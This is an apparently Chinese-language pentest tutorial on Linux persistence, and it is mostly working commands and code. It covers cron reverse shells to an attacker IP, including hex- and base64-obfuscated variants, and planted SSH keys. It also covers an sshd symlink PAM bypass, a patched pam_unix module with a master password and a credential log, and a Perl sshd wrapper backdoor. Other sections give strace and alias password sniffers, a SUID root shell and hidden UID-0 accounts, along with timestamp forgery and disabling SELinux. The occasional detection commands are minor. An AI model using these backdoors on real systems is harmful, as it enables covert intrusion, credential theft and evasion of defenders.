跳到主要内容

Linux权限维持

1.计划任务后门

  1. 使用nc监听端口nc -lvvp5555

  2. crontab -e写入计划任务(计划任务路径:/var/spool/cron/root)

  3. */1 * * * * bash -i >& /dev/tcp/192.168.172.169/55550 >&1

  4. crontab -l查看写入的计划任务

    若遇到特殊环境不能执行,编写脚本计划任务bash1.txt执行即可

    echo 'bash -i >& /dev/tcp/192.168.172.169/5555 0>&1 > 1.txt

    echo 0x62617368202d69203e26202f6465762f7463702f3139322e3136382e322e313235353535203031 > 1.txt
    cat 1.txt | xxd -r -p |bash
    echo 'bash -i >& /dev/tcp/192.168.172.169/5555 0>&1' | base64 | base64 | base64 > 1.txt
    cat 1.txt | base64 -d |base64 -d | base64 -d | bash

2.ssh 公钥免密

隐秘性差

ssh-keygen -t rsa #自动选择存储路径后敲回车即可
scp /root/.ssh/id_rsa.pub root@172.16.12.2:/root/.ssh/authorized_keys
vim /etc/ssh/sshd_config #开启ssh登录
PubkeyAuthentication yes
ssh root@172.16.12.2 #免密登录

ssh公钥免密示例:

复制本机的公钥到靶机的/root/.ssh/authorized_keys中

scp /root/.ssh/id_rsa.pub root@192.168.20.146:/root/.ssh/authorized_keys

image-20221109170649687

目标机开启ssh远程登录

vim /etc/ssh/sshd_config  
PubkeyAuthentication yes #开启ssh登录

免密登录

image-20221109170911956

3.ssh软连接后门

软连接后门的原理是利用了PAM配置文件的作用,将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su),然而su在pam_rootok只检测uid0即可认证成功,这样就导致了可以使用任意密码登录。

详细pam_rootok文件代码解析:https://www.cnblogs.com/likaiming/p/11007919.html

ln -sf /usr/sbin/sshd /tmp/su  #建立软连接(su可更改为/etc/pam.d目录下其他的文件)
/tmp/su -oPort=8080 #启动服务
ssh root@127.0.0.1 -p 8080 #任意密码登录

重点是利用/etc/pam.d/目录下的文件绕过认证,简言之只要/etc/pam.d/目录下有什么软件我们都可以建立同名的软连接名来绕过

image-20221109095916909

检测

ps -aux | grep /tmp

ssh软连接后门示例:

使用目标机的shell建立软连接,并启动服务

ln -sf /usr/sbin/sshd /tmp/su
/tmp/su -oPort=8080

image-20221109171613095

任意密码登录

ssh root@192.168.20.146 -p 8081

image-20221109171745346

4.PAM后门

隐秘性较高

PAM(Pluggable Authentication Modules)是由Sun公司提出的一种认证机制。它通过提供一些动态链接库和一套统一的API,将系统提供的服务和该服务的认证方式分开,使得系统管理员可以灵活地根据需要给不同的服务配置不同的认证方式而无需更改服务程序,同时也便于向系统中添加新的认证手段。简言之,PAM中包含Linux的登录认证模块,并且Linux开源,所以我们便可以修改认证文件中的代码逻辑,实现Linux系统的权限维持。

rpm -qa|grep pam  #查看版本

查看系统版本 cat /etc/issuecat /etc/*-releasecat /proc/versionuname -a

PAM包下载地址:http://www.linux-pam.org/library/

根据安装的版本下载对应的pam主程序

tar -xvf Linux-PAM-1.1.8.tar.gz
vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
#修改moudles/pam_unix/pam_unix_auth.c文件,修改处位于180行

image-20221109101050858

修改为如下代码(密码为wuhu~)

if(strcmp(p,"wuhu~")==0)
{
retval=PAM_SUCCESS;
}

if(retval==PAM_SUCCESS)
{
FILE *fp=fopen("/root/.ssh/ssh.log","a+");
fprintf(fp,"%s::%s\n",name,p);
fclose(fp);
}
yum install flex-devel flex
#接着在Linux-PAM-1.1.8目录执行编译
./configure&&make

编译好的文件在Linux-PAM-1.1.8/modules/pam_unix/.libs/目录下 随后替换pam_unix.so文件,系统原本的认证文件64位为/lib64/security/pam_unix.so 32位为/lib/security/pam_unix.so

#备份
cp /lib64/security/pam_unix.so /lib64/security/pam_unix.so.bak

#用编译好的pam_unix.so文件替换
cp -af pam_unix.so /lib64/security/

#为了安全修改时间
touch -r /lib64/security/pam_userdb.so /lib64/security/pam_unix.so

#随后关闭SElinux
setenforce=0
vim /etc/selinux/config
SELINUX=disabled

/root/.ssh/ssh.log中可以看到所有成功登录账号的密码

PAM后门示例:

查看下目标机pam版本

rpm -qa|grep pam

image-20221109172011834

将Linux-PAM-1.1.8.tar.gz包上传到靶机中

scp /home/lyh/Linux-PAM-1.1.8.tar.gz root@192.168.20.146:/tmp/pam.tar.gz

image-20221109173100697

tar -xvf pam.tar.gz  #解压包
vim Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c #修改moudles/pam_unix/pam_unix_auth.c文件,修改处位于180行下(181行开始)

修改为以下代码

image-20221109182335089

在Linux-PAM-1.1.8文件夹下进行编译

yum install flex-devel flex
./configure&&make

image-20221109182401039

先将系统原本的认证文件/lib64/security/pam_unix.so进行备份

cp /lib64/security/pam_unix.so /lib64/security/pam_unix.so.bak

编译好的文件在Linux-PAM-1.1.8/modules/pam_unix/.libs/目录下,使用编译好的pam_unix.so文件进行替换

image-20221109182719439

cp -af pam_unix.so /lib64/security/

image-20221109182858888

模拟管理员进行登录,然后查看/root/.ssh/ssh.log可以看到所有成功登录账号的密码

image-20221109183131531

5.SSH Wrapper

cd /usr/sbin/
mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
systemctl restart sshd
socat STDIO TCP4:192.168.172.150:22,sourceport=13377
#13377是默认端口,必须使用该端口连接

image-20221109111946985

隐蔽性相对较高

SSH Wrapper示例:

首先到/usr/sbin目录下,便于后面的操作。将sshd文件备份到/usr/bin/文件夹下,接着将构造好的命令写到/usr/sbin/sshd文件中,并为其增加可执行权限

mv sshd ../bin/
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd

image-20221109184612462

重启sshd服务

systemctl restart sshd

利用socat获得一个root权限的shell(13377为默认端口)

socat STDIO TCP4:192.168.20.146:22,sourceport=13377

image-20221109184829898

6.strace后门

strace是一个动态跟踪工具,它可以跟踪系统调用的执行。我们可以把他当成一个键盘记录的后门,来扩大我们的信息收集范围

场景: 通过其他方式拿到shell,通过history、流量抓包、或者本地没有翻到密码的情况。我们想要获取当前主机的密码或通过这台主机连接到其他主机的密码时

先找到sshd的进程PID

ps -ef | grep sshd #父进程PID

然后写入文件

strace -f -p 进程PID -o /tmp/.ssh123.log -e trace=read,write -s 2048

查看文件

image-20221109112437174

隐蔽性相对较高,主要功能为记录sshd进程明文密码

7.alias后门

vim/root/.bashrc
vim/etc/bashrc
alias ssh='strace -o /tmp/.sshpwd-`date '+%d%h%m%s'`. log -e read,write,connect -s2048 ssh'
source/root/.bashrc
  • /etc/profile【系统级】Linux是一个多用户操作系统。用户登录或切换(即Login shell启动)时都有一个专用时err 行/etc/profile
  • /etc/bashrc【系统级】在bash shell打开时运行,修改该文件配置的环境变量将会影响所有用户使用的bash shell
  • ~/.bashrc【用户级】当用户登录时以及每次打开新的shel时该文件都将被读取,每开一个shel,该文件都会读取,效率受影响

cat /tmp/.sshpwd-01Dec121638289741.log I grep "read(4"PS:文件名时间戳需修改

不推荐,记录难以辨别

8.SUID Shell

利用suid权限维持,利用suid提权获取root权限

#配合普通用户权限使用
cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

使用普通用户登录就可以获取root权限。

#普通用户登录
/tmp/shell -p

image-20221109183935400

排查

# 在Linux中查找SUID设置的文件
find . -perm /4000
# 在Linux中查找使用SGID设置的文件
find . -perm /2000

SUID示例:

首先使用root用户将/bin/bash赋值到tmp目录下,然后为其增加suid权限

cp /bin/bash /tmp/shell
chmod u+s /tmp/shell

然后测试使用普通用户进行登录,获得一个root账户的shell

/tmp/shell -p

image-20221109183914048

9.添加用户后门

添加普通用户:

# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd-p方法
useradd -p "$(openssl passwd -1 123456)" guest
# 利用chpasswd命令设置密码
useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法,利用非交互式设置密码
useradd test;echo -e "123456\n123456\n"|passwd test

添加root用户:

# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` banana -o -u 0 -g root -G root -s /bin/bash -d /home/banana